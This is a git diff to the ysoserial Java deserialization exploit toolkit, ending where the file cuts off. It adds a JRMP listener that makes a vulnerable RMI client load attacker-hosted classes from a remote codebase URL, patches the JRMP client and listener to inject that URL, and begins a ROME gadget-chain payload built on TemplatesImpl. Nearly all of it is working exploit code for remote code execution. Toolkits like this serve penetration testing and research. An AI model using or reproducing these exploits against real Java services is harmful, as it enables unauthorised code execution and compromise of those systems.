diff --git a/pom.xml b/pom.xml
index 40e8006..6bea82d 100644
--- a/pom.xml
+++ b/pom.xml
@@ -233,6 +233,11 @@
xalan
2.7.2
+
+ rome
+ rome
+ 1.0
+
diff --git a/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java
new file mode 100644
index 0000000..f6437ec
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java
@@ -0,0 +1,50 @@
+package ysoserial.exploit;
+
+
+
+import java.net.URL;
+
+
+/**
+ * JRMP listener triggering RMI remote classloading
+ *
+ * Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
+ *
+ * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
+ * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
+ *
+ * This only works if
+ * - the remote end is running with a security manager
+ * - java.rmi.server.useCodebaseOnly=false (default until 7u21)
+ * - the remote has the proper permissions to remotely load the class (mostly URLPermission)
+ *
+ * and, of course, the payload class is then run under the security manager with a remote codebase
+ * so either the policy needs to allow whatever you want to do in the payload or you need to combine
+ * with a security manager bypass exploit (wouldn't be the first time).
+ *
+ * @author mbechler
+ *
+ */
+public class JRMPClassLoadingListener {
+
+ public static final void main ( final String[] args ) {
+
+ if ( args.length < 3 ) {
+ System.err.println(JRMPClassLoadingListener.class.getName() + " ");
+ System.exit(-1);
+ return;
+ }
+
+ try {
+ int port = Integer.parseInt(args[ 0 ]);
+ System.err.println("* Opening JRMP listener on " + port);
+ JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
+ c.run();
+ }
+ catch ( Exception e ) {
+ System.err.println("Listener error");
+ e.printStackTrace(System.err);
+ }
+ }
+
+}
diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java
index 81345bd..5206cd0 100644
--- a/src/main/java/ysoserial/exploit/JRMPClient.java
+++ b/src/main/java/ysoserial/exploit/JRMPClient.java
@@ -96,6 +96,14 @@ public class JRMPClient {
}
static final class MarshalOutputStream extends ObjectOutputStream {
+
+
+ private URL sendUrl;
+
+ public MarshalOutputStream (OutputStream out, URL u) throws IOException {
+ super(out);
+ this.sendUrl = u;
+ }
MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
@@ -103,12 +111,15 @@ public class JRMPClient {
@Override
protected void annotateClass ( Class> cl ) throws IOException {
- if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
+ if ( this.sendUrl != null ) {
+ writeObject(this.sendUrl.toString());
+ } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
+
for ( URL u : us ) {
cb += u.toString();
}
diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java
index ecd73a7..e5c034c 100644
--- a/src/main/java/ysoserial/exploit/JRMPListener.java
+++ b/src/main/java/ysoserial/exploit/JRMPListener.java
@@ -11,10 +11,12 @@ import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
+import java.io.Serializable;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
+import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
@@ -22,6 +24,9 @@ import java.rmi.server.UID;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
@@ -47,6 +52,7 @@ public class JRMPListener implements Runnable {
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
+ private URL classpathUrl;
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
@@ -54,6 +60,13 @@ public class JRMPListener implements Runnable {
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
+
+ public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
+ this.port = port;
+ this.payloadObject = makeDummyObject(className);
+ this.classpathUrl = classpathUrl;
+ this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
+ }
public boolean waitFor ( int i ) {
@@ -246,7 +259,7 @@ public class JRMPListener implements Runnable {
System.err.println("Sending return with payload");
out.writeByte(TransportConstants.Return);// transport op
- ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out);
+ ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
@@ -264,4 +277,24 @@ public class JRMPListener implements Runnable {
}
}
+ protected static Object makeDummyObject (String className) {
+ try {
+ ClassLoader isolation = new ClassLoader() {};
+ ClassPool cp = new ClassPool();
+ cp.insertClassPath(new ClassClassPath(Dummy.class));
+ CtClass clazz = cp.get(Dummy.class.getName());
+ clazz.setName(className);
+ return clazz.toClass(isolation).newInstance();
+ }
+ catch ( Exception e ) {
+ e.printStackTrace();
+ return new byte[0];
+ }
+ }
+
+
+ public static class Dummy implements Serializable {
+ private static final long serialVersionUID = 1L;
+
+ }
}
diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java
index e224542..d39c950 100644
--- a/src/main/java/ysoserial/payloads/JRMPClient.java
+++ b/src/main/java/ysoserial/payloads/JRMPClient.java
@@ -48,7 +48,7 @@ import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( {
"restriction"
} )
-@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
+@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
public class JRMPClient extends PayloadRunner implements ObjectPayload {
public Registry getObject ( final String command ) throws Exception {
diff --git a/src/main/java/ysoserial/payloads/ROME.java b/src/main/java/ysoserial/payloads/ROME.java
new file mode 100644
index 0000000..274e35a
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/ROME.java
@@ -0,0 +1,45 @@
+package ysoserial.payloads;
+
+
+import javax.xml.transform.Templates;
+
+import com.sun.syndication.feed.impl.ObjectBean;
+
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+
+/**
+ *
+ * TemplatesImpl.getOutputProperties()
+ * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
+ * NativeMethodAccessorImpl.invoke(Object, Object[])
+ * DelegatingMethodAccessorImpl.invoke(Object, Object[])
+ * Method.invoke(Object, Object...)
+ * ToStringBean.toString(String)
+ * ToStringBean.toString()
+ * ObjectBean.toString()
+ * EqualsBean.beanHashCode()
+ * ObjectBean.hashCode()
+ * HashMap.hash(Object)
+ * HashMap.readObject(ObjectInputStream)
+ *
+ * @author mbechler
+ *
+ */
+@Dependencies("rome:rome:1.0")
+public class ROME implements ObjectPayload